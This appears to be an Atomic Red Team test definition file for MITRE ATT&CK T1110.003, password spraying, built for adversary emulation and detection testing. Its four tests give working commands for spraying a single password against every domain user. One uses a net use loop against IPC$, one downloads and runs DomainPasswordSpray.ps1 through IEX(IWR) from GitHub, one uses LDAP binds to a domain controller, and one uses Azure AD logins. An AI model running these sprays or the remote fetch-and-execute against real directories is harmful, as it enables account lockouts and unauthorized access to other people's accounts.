attack_technique: T1110.003
display_name: 'Brute Force: Password Spraying'
atomic_tests:
- name: Password Spray all Domain Users
  auto_generated_guid: 90bc2e54-6c84-47a5-9439-0a2a92b4b175
  description:
    CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.

    This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list.
    Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period.
    Use the input arguments to specify your own password to use for the password spray.

    Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.

    See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5
  supported_platforms:
  - windows
  input_arguments:
    password:
      description: The password to try for each user in users.txt
      type: String
      default: Spring2020
  dependencies:
  - description: |
      List of domain users to password spray must exits at %temp%\users.txt
    prereq_command: |
      if not exist %temp%\users.txt (exit /b 1)
    get_prereq_command: |
      PathToAtomicsFolder\T1110.003\src\parse_net_users.bat
  executor:
    name: command_prompt
    elevation_required: false
    command: |
      @FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL
- name: Password Spray (DomainPasswordSpray)
  auto_generated_guid: 263ae743-515f-4786-ac7d-41ef3a0d4b2b
  description: |
    Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain

    https://github.com/dafthack/DomainPasswordSpray
  supported_platforms:
    - windows
  input_arguments:
    domain:
      description: Domain to brute force against
      type: String
      default: $Env:USERDOMAIN
  executor:
    name: powershell
    elevation_required: false
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force
- name: Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)
  auto_generated_guid: f14d956a-5b6e-4a93-847f-0c415142f07d
  description: |
    Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos

    Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)
  supported_platforms:
  - windows
  input_arguments:
    password:
      description: single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001)
      type: String
      default: P@ssw0rd!
    domain:
      description: Domain FQDN
      type: String
      default: $env:UserDnsDomain
    auth:
      description: authentication method to choose between "NTLM" and "Kerberos"
      type: String
      default: NTLM
  executor:
    name: powershell
    elevation_required: false
    command: |
      if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
        Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
        exit 1
      }

      $DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName

      [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
      $di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)

      $DomainUsers | Foreach-Object {
        $user = $_
        $password = '#{password}'

        $credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}")
        $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
        try {
          Write-Host " [-] Attempting ${password} on account ${user}."
          $conn.bind()
          # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
          Write-Host " [!] ${user}:${password} are valid credentials!"
        } catch {
          Write-Host $_.Exception.Message
        }
      }
      Write-Host "End of password spraying"
- name: Password spray all Azure AD users with a single password 
  auto_generated_guid: a8aa2d3e-1c52-4016-bc73-0f8854cfa80a
  description: |
    Attempt to brute force all Azure AD users with a single password (called "password spraying") via AzureAD Powershell module.
    Valid credentials are only needed to fetch the list of Azure AD users.
  supported_platforms:
  - azure-ad
  input_arguments:
    password:
      description: Single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001)
      type: String
      default: P@ssw0rd!
    valid_username:
      description: Valid username to retrieve Azure AD users. We encourage users running this atomic to add a valid microsoft account domain; for eg <valid_test_user>@<valid_ms_account.com>
      type: String
      default: bruce.wayne@contoso.com
    valid_password:
      description: Valid password to authenticate as valid_username in the <valid_ms_account>
      type: String
      default: iamthebatman
  dependency_executor_name: powershell
  dependencies:
  - description: |
      AzureAD module must be installed.
    prereq_command: |
      try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
    get_prereq_command: |
      Install-Module -Name AzureAD -Force
  executor:
    name: powershell
    elevation_required: false
    command: |
      Import-Module -Name AzureAD
      $PWord = ConvertTo-SecureString -String "#{valid_password}" -AsPlainText -Force
      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{valid_username}", $Pword
      Connect-AzureAD -Credential $Credential > $null

      ($Users = Get-AzureADUser -All $true) > $null
      Disconnect-AzureAD > $null
      $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force

      $Users | Foreach-Object {
        $user = $_.UserPrincipalName
        $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$user", $Pword
        try {
          Write-Host " [-] Attempting #{password} on account ${user}."
          Connect-AzureAD -Credential $Credential 2>&1> $null
          # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
          Write-Host " [!] ${user}:#{password} are valid credentials!`r`n"
          Disconnect-AzureAD > $null
        } catch {
          Write-Host " [-] ${user}:#{password} invalid credentials.`r`n"
        }
      }
      Write-Host "End of password spraying"
